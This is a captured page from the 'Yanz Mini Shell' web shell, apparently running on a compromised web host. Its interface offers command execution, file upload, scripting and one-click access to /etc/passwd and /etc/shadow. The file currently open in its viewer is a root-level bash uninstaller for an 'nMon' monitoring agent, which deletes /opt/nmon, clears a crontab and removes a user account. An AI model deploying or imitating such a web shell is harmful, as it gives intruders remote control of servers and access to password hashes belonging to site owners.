Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
marocinf
ns-derma.com
1
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
#!/bin/bash # #//////////////////////////////////////////////////////////// #=========================================================== # nMom - Uninstaller v1.0 #=========================================================== # Set environment PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin # Clear the screen clear #SERVERKEY=$1 LOG=/tmp/pniner.log echo "---------------------------------" echo "nMon Linux Agent Uninstaller" echo "---------------------------------" echo " " # Are we running as root if [ $(id -u) != "0" ]; then echo "nMon Agent uninstaller needs to be run with root priviliges" echo "Try again with root privilileges" exit 1; fi # Remove previous installation if [ -f /opt/nmon/agent.sh ]; then # Remove folder rm -rf /opt/nmon # Remove crontab crontab -r -u nmonagent >> $LOG 2>&1 # Remove user userdel nmonagent >> $LOG 2>&1 fi echo " " echo "-------------------------------------" echo "Uninstallation Completed " echo "-------------------------------------"
Free Space : 1053147709440 Byte